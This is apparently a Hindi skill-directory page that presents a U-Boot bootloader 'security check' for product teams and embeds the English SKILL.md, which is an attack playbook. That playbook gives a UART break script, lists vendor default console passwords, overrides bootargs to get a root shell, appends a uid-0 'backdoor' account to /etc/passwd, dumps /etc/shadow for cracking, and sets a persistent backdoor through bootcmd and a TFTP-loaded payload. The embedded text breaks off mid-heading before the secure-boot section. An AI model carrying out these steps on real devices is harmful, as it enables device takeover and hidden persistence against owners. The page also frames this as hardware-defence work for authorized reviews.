bootloader-uboot
यह क्या करती है
यह गाइड U-Boot की सुरक्षा जाँच बताती है, जो राउटर और एम्बेडेड बोर्ड में आम बूटलोडर है। यह उन उत्पाद सुरक्षा टीमों के लिए है जो अपने हार्डवेयर की रक्षा करती हैं।
कब इस्तेमाल करें
- ✓जब कोई उत्पाद टीम जाँचना चाहे कि बूट कंसोल सुरक्षित है या नहीं।
- ✓जब अधिकृत हार्डवेयर समीक्षा में सिक्योर बूट सेटिंग की पुष्टि करनी हो।
- ✓जब कोई डिवाइस बूट डिले शून्य या बिना सुरक्षा के साथ आए।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमारा राउटर U-Boot इस्तेमाल करता है। क्या आप जाँच सकते हैं कि बूट कंसोल अनधिकृत बदलावों से सुरक्षित है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट एक टेस्ट यूनिट पर बूट कंसोल की एक्सेस सेटिंग और बूट वेरिएबल देखता है, फिर बताता है कि कौन सी सुरक्षा गायब है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
U-Boot Bootloader Attack
U-Boot is the dominant open-source bootloader for embedded Linux devices. A UART console with an unpatched autoboot allows complete OS compromise without touching the running filesystem: override
bootargs, passinit=/bin/sh, and land a root shell beforeinitstarts.
Prerequisites
- UART console connected (see
firmware-acquisitionskill, Tier 1). - Serial terminal:
screen /dev/ttyUSB0 115200orpicocom -b 115200 /dev/ttyUSB0. - Physical access to power-cycle the device.
- Tools (optional, for scripted attacks):
minicom,expect,python3-serial.
Phase 1 — Console Interrupt
1a. Manual interrupt
1. Open serial terminal BEFORE powering device.
2. Apply power.
3. Watch for U-Boot banner:
U-Boot 2020.01 (Jan 01 2020)
...
Hit any key to stop autoboot: 3 2 1
4. Press any key (spacebar reliable) during countdown to get '=>' prompt.
If autoboot completes before interrupt: power-cycle and try again. Some devices accept keys up to 500ms before the countdown appears.
1b. When autoboot_delay is 0 or password-protected
# Approach A: Interrupt via UART break signal (before U-Boot banner)
python3 -c "
import serial, time
s = serial.Serial('/dev/ttyUSB0', 115200)
s.send_break(duration=0.5)
time.sleep(0.1)
s.write(b'\r\n')
print(s.read(200))"
# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)
# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y
# Try: Ctrl+C, then 'adc', then model-specific passwords
# Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'
Phase 2 — Environment Inspection
# At U-Boot => prompt:
# Print ALL environment variables
printenv
# Key variables to examine:
# bootargs = kernel command line (target for init override)
# bootcmd = boot command sequence (target for persistence)
# ipaddr = device IP (useful for TFTP)
# serverip = TFTP server IP
# netmask = subnet mask
# mtdparts = flash partition map (offsets for SPI dump / write)
# fdtcontroladdr = FDT address (check secure-boot flags here)
2a. Flash partition map extraction
=> mtdparts
=> flinfo # (older U-Boot) detailed partition info
=> cat /proc/mtd # (from Linux, if booting fails) — compare with mtdparts
Expected output example:
mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)
Phase 3 — bootargs Override → init=/bin/sh
This is the primary exploitation primitive: replace the kernel init process with a root shell before any authentication or privilege separation occurs.
# Inspect current bootargs
=> printenv bootargs
# Example: root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd
# Override: append init=/bin/sh (or replace init entirely)
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=/bin/sh"
# Boot with modified args (trigger the original bootcmd)
=> run bootcmd
# Alternative: load kernel manually and boot with setenv bootargs
=> tftpboot 0x80000000 uImage
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh"
=> bootm 0x80000000
Once the kernel drops to /bin/sh:
# Remount rootfs read-write
mount -o remount,rw /
# Add backdoor account
echo 'backdoor:x:0:0:root:/root:/bin/sh' >> /etc/passwd
# Set password
passwd backdoor # or directly edit shadow
# Or extract /etc/shadow for offline crack
cat /etc/shadow
3a. Single-user mode (alternative)
# Append 'single' or 'S' to bootargs for systemd/SysV init single-user mode
=> setenv bootargs "${bootargs} single"
=> run bootcmd
Phase 4 — Persistent Environment Modification
# Save modified environment to flash (survives reboot)
=> saveenv
# Warning: only do this if persistence is in RoE scope.
# Revert with:
=> setenv bootcmd "<original_value>"
=> saveenv
# Add persistent backdoor via bootcmd (executes on every boot)
=> setenv bootcmd "run addbackdoor; run origbootcmd"
=> setenv addbackdoor "run bootargs; echo 'backdoor::0:0::/:/bin/sh' >> /etc/passwd"
# NOTE: >> redirect not available in all U-Boot versions; use fatwrite / ext4write instead
# Persist via TFTP-loaded script
=> setenv serverip 192.168.1.10
=> setenv ipaddr 192.168.1.100
=> tftpboot 0x80000000 payload.scr
=> source 0x80000000
Phase 5 — Secure Boot Bypass
5a. Identify secure
अक्सर पूछे जाने वाले सवाल
U-Boot क्या है?
यह एक ओपन-सोर्स बूटलोडर है जो कई एम्बेडेड डिवाइसों पर ऑपरेटिंग सिस्टम शुरू करता है।
सिक्योर बूट क्या है?
यह जाँच कि डिवाइस पर केवल साइन किया हुआ सॉफ़्टवेयर ही शुरू हो, जिसे गाइड एक मुख्य बचाव मानती है।
कंसोल चिंता का विषय क्यों है?
गाइड के अनुसार खुला कंसोल बूट सेटिंग बदल सकता है और दूसरा सिस्टम लोड कर सकता है।
जानकारी
लेखक का मूल विवरण
U-Boot bootloader attack playbook — console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=/bin/sh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14096
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।